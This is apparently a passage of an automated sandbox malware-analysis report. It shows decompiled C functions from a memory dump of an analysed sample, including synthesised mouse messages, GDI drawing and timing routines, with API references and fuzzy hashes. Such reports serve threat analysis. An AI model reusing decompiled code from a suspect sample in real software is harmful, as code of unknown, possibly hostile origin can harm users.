                                                                                                                                                                            • Instruction ID: 24d8057b763805d248a02a33893b377b1579bd56aab3fff97e90bb3d062a49ad
                                                                                                                                                                            • Opcode Fuzzy Hash: 367b6e42355be36f427f5e4c5f923650598af64a8eac08207e4f2af605b886a1
                                                                                                                                                                            • Instruction Fuzzy Hash: 0C3150721043056EE210DF94DD84FBF73ECEBC9314F44492EBA9596141D7B8E9098B6A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00438EAD Relevance: 7.6, APIs: 5, Instructions: 90sleepwindowCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 64%
                                                                                                                                                                            			E00438EAD() {
				struct HWND__* _t30;
				int _t39;
				int _t41;
				struct HWND__* _t43;
				signed short _t45;
				intOrPtr _t46;
				signed short _t48;
				long _t51;
				intOrPtr _t53;
				intOrPtr _t54;
				void* _t55;

				_t43 =  *( *(_t55 + 4));
				_t53 =  *((intOrPtr*)(_t55 + 0x20));
				_t48 =  *(_t55 + 0x30);
				_t45 =  *(_t55 + 0x30);
				GetWindowRect(_t43, _t55 + 0x10);
				if(_t45 == 0xffffffff) {
					asm("cdq");
					_t45 =  *((intOrPtr*)(_t55 + 0x18)) -  *(_t55 + 0x10) - _t43 >> 1;
				}
				if(_t48 == 0xffffffff) {
					asm("cdq");
					_t48 =  *((intOrPtr*)(_t55 + 0x1c)) -  *((intOrPtr*)(_t55 + 0x14)) - _t43 >> 1;
				}
				_t51 = (_t48 & 0x0000ffff) << 0x00000010 | _t45 & 0x0000ffff;
				 *(_t55 + 0x30) = 0x201;
				 *(_t55 + 0x34) = 0x203;
				_t39 = 0x202;
				_t46 = 1;
				if(_t53 != 2) {
					if(_t53 == 1) {
						 *(_t55 + 0x30) = 0x207;
						_t39 = 0x208;
						_t46 = _t53 + 0xf;
						goto L8;
					}
				} else {
					 *(_t55 + 0x30) = 0x204;
					_t39 = 0x205;
					_t46 = _t53;
					L8:
					 *(_t55 + 0x34) = 0x206;
				}
				_t54 = 1;
				if( *((intOrPtr*)(_t55 + 0x2c)) >= 1) {
					do {
						_t41 =  *(_t55 + 0x34);
						asm("cdq");
						_push(_t51);
						_t30 =  *( *(_t55 + 0x24));
						_push(_t46);
						if((_t54 - _t43 >> 1) + (_t54 - _t43 >> 1) != _t54) {
							_t41 =  *(_t55 + 0x38);
						}
						PostMessageW(_t30, _t41, ??, ??);
						Sleep(0);
						_t43 =  *( *(_t55 + 0x24));
						PostMessageW(_t43, _t39, 0, _t51);
						Sleep(0);
						_t54 = _t54 + 1;
					} while (_t54 <=  *((intOrPtr*)(_t55 + 0x2c)));
				}
				return 1;
			}














                                                                                                                                                                            0x00438eb1
                                                                                                                                                                            0x00438eb8
                                                                                                                                                                            0x00438ebd
                                                                                                                                                                            0x00438ec2
                                                                                                                                                                            0x00438ecc
                                                                                                                                                                            0x00438ed5
                                                                                                                                                                            0x00438edf
                                                                                                                                                                            0x00438ee4
                                                                                                                                                                            0x00438ee4
                                                                                                                                                                            0x00438ee9
                                                                                                                                                                            0x00438ef3
                                                                                                                                                                            0x00438ef8
                                                                                                                                                                            0x00438ef8
                                                                                                                                                                            0x00438f03
                                                                                                                                                                            0x00438f05
                                                                                                                                                                            0x00438f0d
                                                                                                                                                                            0x00438f15
                                                                                                                                                                            0x00438f1a
                                                                                                                                                                            0x00438f22
                                                                                                                                                                            0x00438f38
                                                                                                                                                                            0x00438f3a
                                                                                                                                                                            0x00438f42
                                                                                                                                                                            0x00438f47
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00438f47
                                                                                                                                                                            0x00438f24
                                                                                                                                                                            0x00438f24
                                                                                                                                                                            0x00438f2c
                                                                                                                                                                            0x00438f31
                                                                                                                                                                            0x00438f4a
                                                                                                                                                                            0x00438f4a
                                                                                                                                                                            0x00438f4a
                                                                                                                                                                            0x00438f52
                                                                                                                                                                            0x00438f5b
                                                                                                                                                                            0x00438f5d
                                                                                                                                                                            0x00438f5d
                                                                                                                                                                            0x00438f63
                                                                                                                                                                            0x00438f6e
                                                                                                                                                                            0x00438f71
                                                                                                                                                                            0x00438f73
                                                                                                                                                                            0x00438f74
                                                                                                                                                                            0x00438f76
                                                                                                                                                                            0x00438f76
                                                                                                                                                                            0x00438f7c
                                                                                                                                                                            0x00438f84
                                                                                                                                                                            0x00438f8e
                                                                                                                                                                            0x00438f95
                                                                                                                                                                            0x00438f9d
                                                                                                                                                                            0x00438fa3
                                                                                                                                                                            0x00438fa4
                                                                                                                                                                            0x00438f5d
                                                                                                                                                                            0x00438fb3

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetWindowRect.USER32(?,?), ref: 00438ECC
                                                                                                                                                                            • PostMessageW.USER32(00000001,?,00000001,?), ref: 00438F7C
                                                                                                                                                                            • Sleep.KERNEL32(00000000), ref: 00438F84
                                                                                                                                                                            • PostMessageW.USER32(?,00000202,00000000,?), ref: 00438F95
                                                                                                                                                                            • Sleep.KERNEL32(00000000,?,00000202,00000000,?), ref: 00438F9D
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: MessagePostSleep$RectWindow
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3382505437-0
                                                                                                                                                                            • Opcode ID: 2ab6e8217c4101ef9f031d568675ad0bf41e28325206932565347c4090b4e9a4
                                                                                                                                                                            • Instruction ID: 0163f4fbfa3540aa74b75641586733f0f0ecdd6424bf32d6baecdffd05b1cde8
                                                                                                                                                                            • Opcode Fuzzy Hash: 2ab6e8217c4101ef9f031d568675ad0bf41e28325206932565347c4090b4e9a4
                                                                                                                                                                            • Instruction Fuzzy Hash: 9B31C032104305AFD300CF68CA88A6BB7E5EBC8314F555A2DF9A497291DB74EC06CB56
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0044710F Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E0044710F(struct HDC__* _a4, intOrPtr _a8, intOrPtr _a12, long _a16, long _a20) {
				struct tagLOGBRUSH _v12;
				void* __ebx;
				intOrPtr _t10;
				void* _t13;
				void* _t16;
				struct HDC__* _t20;
				void* _t21;
				long _t22;
				intOrPtr _t23;
				long _t24;
				void* _t27;
				void* _t28;
				void* _t29;

				_t20 = _a4;
				_t24 = _a16;
				_t23 = _a8;
				_t22 = _a20;
				if(_t23 == 0xffffffff) {
					L10:
					_t10 = _a12;
					if(_t10 == 0xffffffff) {
						L13:
						return _t10;
					}
					_t35 = _t10 - 0xfffffffe;
					if(_t10 == 0xfffffffe) {
						goto L13;
					}
					return SelectObject(_t20, E00441A7A(_t20, _t21, _t35, _t10, 0));
				}
				_t27 =  *0x4a849c - _t23; // 0x0
				if(_t27 != 0) {
					L4:
					_t13 =  *0x4a848c; // 0x0
					if(_t13 != 0) {
						DeleteObject(_t13);
						 *0x4a848c = 0;
					}
					 *0x4a8498 = _t22;
					 *0x4a849c = _t23;
					 *0x4a84a0 = _t24;
					_v12.lbStyle = 0;
					_v12.lbColor = _t23;
					_v12.lbHatch = 0;
					if(_t22 != 1) {
						_t24 = _t24 | 0x00010000;
					}
					_t16 = ExtCreatePen(_t24, _t22,  &_v12, 0, 0);
					 *0x4a848c = _t16;
					 *0x4a8490 = SelectObject(_t20, _t16);
					if( *0x4a8494 == 0) {
						BeginPath(_t20);
						 *0x4a8494 = 1;
					}
					goto L10;
				}
				_t28 =  *0x4a8498 - _t22; // 0x0
				if(_t28 != 0) {
					goto L4;
				}
				_t29 =  *0x4a84a0 - _t24; // 0x0
				if(_t29 == 0) {
					goto L10;
				}
				goto L4;
			}
















                                                                                                                                                                            0x00447113
                                                                                                                                                                            0x00447118
                                                                                                                                                                            0x0044711d
                                                                                                                                                                            0x00447122
                                                                                                                                                                            0x00447129
                                                                                                                                                                            0x004471c4
                                                                                                                                                                            0x004471c4
                                                                                                                                                                            0x004471cb
                                                                                                                                                                            0x004471e9
                                                                                                                                                                            0x004471e9
                                                                                                                                                                            0x004471e9
                                                                                                                                                                            0x004471cd
                                                                                                                                                                            0x004471d0
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004471dc
                                                                                                                                                                            0x0044712f
                                                                                                                                                                            0x00447135
                                                                                                                                                                            0x00447147
                                                                                                                                                                            0x00447147
                                                                                                                                                                            0x0044714e
                                                                                                                                                                            0x00447151
                                                                                                                                                                            0x00447157
                                                                                                                                                                            0x00447157
                                                                                                                                                                            0x00447163
                                                                                                                                                                            0x00447169
                                                                                                                                                                            0x0044716f
                                                                                                                                                                            0x00447175
                                                                                                                                                                            0x00447179
                                                                                                                                                                            0x0044717d
                                                                                                                                                                            0x00447184
                                                                                                                                                                            0x00447186
                                                                                                                                                                            0x00447186
                                                                                                                                                                            0x00447195
                                                                                                                                                                            0x0044719d
                                                                                                                                                                            0x004471af
                                                                                                                                                                            0x004471b4
                                                                                                                                                                            0x004471b7
                                                                                                                                                                            0x004471bd
                                                                                                                                                                            0x004471bd
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004471b4
                                                                                                                                                                            0x00447137
                                                                                                                                                                            0x0044713d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0044713f
                                                                                                                                                                            0x00447145
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000

                                                                                                                                                                            APIs
                                                                                                                                                                            • DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                            • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                            • SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                            • BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                            • SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Object$Select$BeginCreateDeletePath
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2338827641-0
                                                                                                                                                                            • Opcode ID: f19e52de08adcd67550c2e9faff4417be3cdd69e9125f029607893bae639c511
                                                                                                                                                                            • Instruction ID: ab30216038401830d00444c504d41f25dcbf82a6e2307e0a418987ed8484b610
                                                                                                                                                                            • Opcode Fuzzy Hash: f19e52de08adcd67550c2e9faff4417be3cdd69e9125f029607893bae639c511
                                                                                                                                                                            • Instruction Fuzzy Hash: 7E2171B18083019FD320CF29AD44A1B7FACF74A724F14052FF654933A1EB789849CB69
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0043770A Relevance: 7.6, APIs: 5, Instructions: 56sleepCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 77%
                                                                                                                                                                            			E0043770A(int __eax, long long __fp0, long _a4) {
				long long _v8;
				long long _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				union _LARGE_INTEGER _v32;
				intOrPtr _v36;
				union _LARGE_INTEGER _v40;
				signed char _t17;
				long _t25;
				long _t27;

				_t28 = __fp0;
				_t13 = __eax;
				_t25 = _a4;
				_t27 = _t25;
				if(_t27 < 0) {
					return __eax;
				} else {
					if(_t27 != 0) {
						if(_t25 >= 0xf) {
							L10:
							Sleep(_t25);
							return _t13;
						}
						_t13 = QueryPerformanceCounter( &_v32);
						if(_t13 == 0) {
							goto L10;
						}
						_a4 = _t25;
						asm("fild dword [esp+0x34]");
						if(_t25 < 0) {
							_t28 = __fp0 +  *0x48c528;
						}
						_v8 = _t28;
						do {
							Sleep(0);
							QueryPerformanceCounter( &_v40);
							asm("sbb eax, [esp+0x14]");
							_v24 = _v40.LowPart - _v32.LowPart;
							_v20 = _v36;
							asm("fild qword [esp+0x18]");
							_v16 = _t28;
							_t17 = E0040DD20(_v36);
							asm("fdivr qword [esp+0x20]");
							asm("fcomp qword [esp+0x28]");
							asm("fnstsw ax");
						} while ((_t17 & 0x00000005) != 0);
						return _t17;
					} else {
						Sleep(0);
						return _t13;
					}
				}
			}













                                                                                                                                                                            0x0043770a
                                                                                                                                                                            0x0043770a
                                                                                                                                                                            0x0043770e
                                                                                                                                                                            0x00437712
                                                                                                                                                                            0x00437714
                                                                                                                                                                            0x004377b1
                                                                                                                                                                            0x0043771a
                                                                                                                                                                            0x0043771a
                                                                                                                                                                            0x0043772f
                                                                                                                                                                            0x004377a5
                                                                                                                                                                            0x004377a6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004377ac
                                                                                                                                                                            0x0043773c
                                                                                                                                                                            0x00437740
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00437742
                                                                                                                                                                            0x00437746
                                                                                                                                                                            0x0043774c
                                                                                                                                                                            0x0043774e
                                                                                                                                                                            0x0043774e
                                                                                                                                                                            0x00437754
                                                                                                                                                                            0x0043775a
                                                                                                                                                                            0x0043775c
                                                                                                                                                                            0x00437767
                                                                                                                                                                            0x00437775
                                                                                                                                                                            0x00437779
                                                                                                                                                                            0x0043777d
                                                                                                                                                                            0x00437781
                                                                                                                                                                            0x00437785
                                                                                                                                                                            0x00437789
                                                                                                                                                                            0x0043778e
                                                                                                                                                                            0x00437792
                                                                                                                                                                            0x00437796
                                                                                                                                                                            0x00437798
                                                                                                                                                                            0x004377a2
                                                                                                                                                                            0x0043771c
                                                                                                                                                                            0x0043771e
                                                                                                                                                                            0x00437728
                                                                                                                                                                            0x00437728
                                                                                                                                                                            0x0043771a

                                                                                                                                                                            APIs
                                                                                                                                                                            • Sleep.KERNEL32(00000000,00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043771E
                                                                                                                                                                            • QueryPerformanceCounter.KERNEL32(?,?,00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043773C
                                                                                                                                                                            • Sleep.KERNEL32(00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043775C
                                                                                                                                                                            • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,004448B6,0000000F,?), ref: 00437767
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CounterPerformanceQuerySleep
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2875609808-0
                                                                                                                                                                            • Opcode ID: 901ea73111326f2a8af3d8a1217edfde6b6dff748f8bb26d3b0ac17b2ce0a9c5
                                                                                                                                                                            • Instruction ID: fd8a8a83491f03de43ea78fbc63302b75a2fa5438857304713168bbc83ca9150
                                                                                                                                                                            • Opcode Fuzzy Hash: 901ea73111326f2a8af3d8a1217edfde6b6dff748f8bb26d3b0ac17b2ce0a9c5
                                                                                                                                                                            • Instruction Fuzzy Hash: EA11A3B64093119BC210EF1ADA88A8FB7F4FFD8765F004D2EF9C462250DB34D5598B9A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004175A2 Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 89%
                                                                                                                                                                            			E004175A2(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t29;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x48c9d8);
				E0041718C(__ebx, __edi, __esi);
				_t31 = E00416C72(__ebx, __edi, _t35);
				_t15 =  *0x49085c; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E00418407(_t25, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x490760; // 0x2f02bd8
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x490338;
								if(__eflags != 0) {
									_push(_t33);
									E00413A88(_t25, _t29, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x490760; // 0x2f02bd8
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x490760; // 0x2f02bd8
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E0041763D();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E004117AF(_t29, _t31, 0x20);
				}
				return E004171D1(_t33);
			}











                                                                                                                                                                            0x004175a2
                                                                                                                                                                            0x004175a2
                                                                                                                                                                            0x004175a2
                                                                                                                                                                            0x004175a2
                                                                                                                                                                            0x004175a4
                                                                                                                                                                            0x004175a9
                                                                                                                                                                            0x004175b3
                                                                                                                                                                            0x004175b5
                                                                                                                                                                            0x004175bd
                                                                                                                                                                            0x004175de
                                                                                                                                                                            0x004175e4
                                                                                                                                                                            0x004175e8
                                                                                                                                                                            0x004175eb
                                                                                                                                                                            0x004175ee
                                                                                                                                                                            0x004175f4
                                                                                                                                                                            0x004175f6
                                                                                                                                                                            0x004175f8
                                                                                                                                                                            0x004175fb
                                                                                                                                                                            0x00417601
                                                                                                                                                                            0x00417603
                                                                                                                                                                            0x00417605
                                                                                                                                                                            0x0041760b
                                                                                                                                                                            0x0041760d
                                                                                                                                                                            0x0041760e
                                                                                                                                                                            0x00417613
                                                                                                                                                                            0x0041760b
                                                                                                                                                                            0x00417603
                                                                                                                                                                            0x00417614
                                                                                                                                                                            0x00417619
                                                                                                                                                                            0x0041761c
                                                                                                                                                                            0x00417622
                                                                                                                                                                            0x00417626
                                                                                                                                                                            0x00417626
                                                                                                                                                                            0x0041762c
                                                                                                                                                                            0x00417633
                                                                                                                                                                            0x004175c5
                                                                                                                                                                            0x004175c5
                                                                                                                                                                            0x004175c5
                                                                                                                                                                            0x004175ca
                                                                                                                                                                            0x004175ce
                                                                                                                                                                            0x004175d3
                                                                                                                                                                            0x004175db

                                                                                                                                                                            APIs
                                                                                                                                                                            • __getptd.LIBCMT ref: 004175AE
                                                                                                                                                                              • Part of subcall function 00416C72: __getptd_noexit.LIBCMT ref: 00416C75
                                                                                                                                                                              • Part of subcall function 00416C72: __amsg_exit.LIBCMT ref: 00416C82
                                                                                                                                                                            • __amsg_exit.LIBCMT ref: 004175CE
                                                                                                                                                                            • __lock.LIBCMT ref: 004175DE
                                                                                                                                                                            • InterlockedDecrement.KERNEL32(?), ref: 004175FB
                                                                                                                                                                            • InterlockedIncrement.KERNEL32(02F02BD8), ref: 00417626
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 4271482742-0
                                                                                                                                                                            • Opcode ID: 5dbf956bc1dc3527f119a9584522304e30a9156b5f722a5719108b10068a9215
                                                                                                                                                                            • Instruction ID: de548182bd5f57d4f8c9f8a4c79293bfa6802d75d0085d2526eaa3c6a777046b
                                                                                                                                                                            • Opcode Fuzzy Hash: 5dbf956bc1dc3527f119a9584522304e30a9156b5f722a5719108b10068a9215
                                                                                                                                                                            • Instruction Fuzzy Hash: 9401AD31944A11AFC710ABA998497CE7BB0BB11724F0540ABE80063791CB3CA9C1CFEE
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0043315E Relevance: 7.5, APIs: 5, Instructions: 33COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E0043315E(struct HDC__* _a4, intOrPtr _a8) {
				void* _t3;
				void* _t5;
				int _t6;
				intOrPtr _t10;
				struct HDC__* _t11;

				_t11 = _a4;
				_t10 = _a8;
				if( *0x4a8494 != 0) {
					EndPath(_t11);
					 *0x4a8494 = 0;
					if(_t10 == 0xffffffff || _t10 == 0xfffffffe) {
						StrokePath(_t11);
					} else {
						StrokeAndFillPath(_t11);
					}
				}
				_t3 =  *0x4a8490; // 0x0
				if(_t3 == 0) {
					return _t3;
				} else {
					SelectObject(_t11, _t3);
					_t5 =  *0x4a848c; // 0x0
					 *0x4a8490 = 0;
					_t6 = DeleteObject(_t5);
					 *0x4a848c = 0;
					 *0x4a849c = 0xffffffff;
					return _t6;
				}
			}








                                                                                                                                                                            0x00433166
                                                                                                                                                                            0x0043316b
                                                                                                                                                                            0x0043316f
                                                                                                                                                                            0x00433172
                                                                                                                                                                            0x00433178
                                                                                                                                                                            0x00433182
                                                                                                                                                                            0x00433193
                                                                                                                                                                            0x00433189
                                                                                                                                                                            0x0043318a
                                                                                                                                                                            0x0043318a
                                                                                                                                                                            0x00433182
                                                                                                                                                                            0x00433199
                                                                                                                                                                            0x004331a0
                                                                                                                                                                            0x004331d6
                                                                                                                                                                            0x004331a2
                                                                                                                                                                            0x004331a4
                                                                                                                                                                            0x004331aa
                                                                                                                                                                            0x004331b0
                                                                                                                                                                            0x004331ba
                                                                                                                                                                            0x004331c0
                                                                                                                                                                            0x004331ca
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004331ca

                                                                                                                                                                            APIs
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Path$ObjectStroke$DeleteFillSelect
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2625713937-0
                                                                                                                                                                            • Opcode ID: a89ec47609df172868659220a46891f09f78d761c189f4b7bb4a315096e7830c
                                                                                                                                                                            • Instruction ID: 1b0d13c7bbaa275692c81ef4a4760df4fcf6218f807946f7e03cce85d1463269
                                                                                                                                                                            • Opcode Fuzzy Hash: a89ec47609df172868659220a46891f09f78d761c189f4b7bb4a315096e7830c
                                                                                                                                                                            • Instruction Fuzzy Hash: F7F0A4751052019BD7508F18EC0C70E7FA8FB4F325F04462EEA19932E0DB781546CBAD
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0040AB16 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 423COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 74%
                                                                                                                                                                            			E0040AB16(void* __eax, void __ebx, void* __ecx, void* __edx, void* __edi, void* __fp0, void* _a4, void* _a8, void* _a12, intOrPtr _a16) {
				char _v28;
				void _v32;
				char _v48;
				char _v52;
				intOrPtr _v56;
				void* _v60;
				char _v64;
				char _v68;
				void _v72;
				void* _v76;
				void _v80;
				char _v84;
				char _v85;
				void* _v92;
				char _v95;
				char _v96;
				signed char _v99;
				void _v100;
				void* _v104;
				void* _v108;
				void _v112;
				char _v115;
				void* _v116;
				char _v119;
				void* _v120;
				void* _v124;
				void* _v128;
				char _v132;
				void _v136;
				void* _v140;
				char _v148;
				void* _v152;
				void* _v156;
				void _v160;
				void* __esi;
				void* __ebp;
				void* _t385;
				intOrPtr _t393;
				void _t394;
				void* _t395;
				void* _t396;
				void** _t398;
				void* _t399;
				void* _t401;
				void* _t402;
				void* _t403;
				void* _t404;
				void* _t409;
				void* _t424;
				void* _t426;
				void* _t427;
				void* _t428;
				signed int _t429;
				void* _t437;
				void** _t443;
				void* _t444;
				void* _t446;
				void* _t459;
				void* _t460;
				void* _t463;
				void* _t465;
				void* _t466;
				void* _t467;
				void* _t468;
				signed int _t469;
				void* _t476;
				void _t508;
				short _t509;
				void* _t510;
				void* _t511;
				void* _t512;
				void** _t513;
				void* _t514;
				void* _t517;
				void* _t519;
				void** _t520;
				void* _t521;
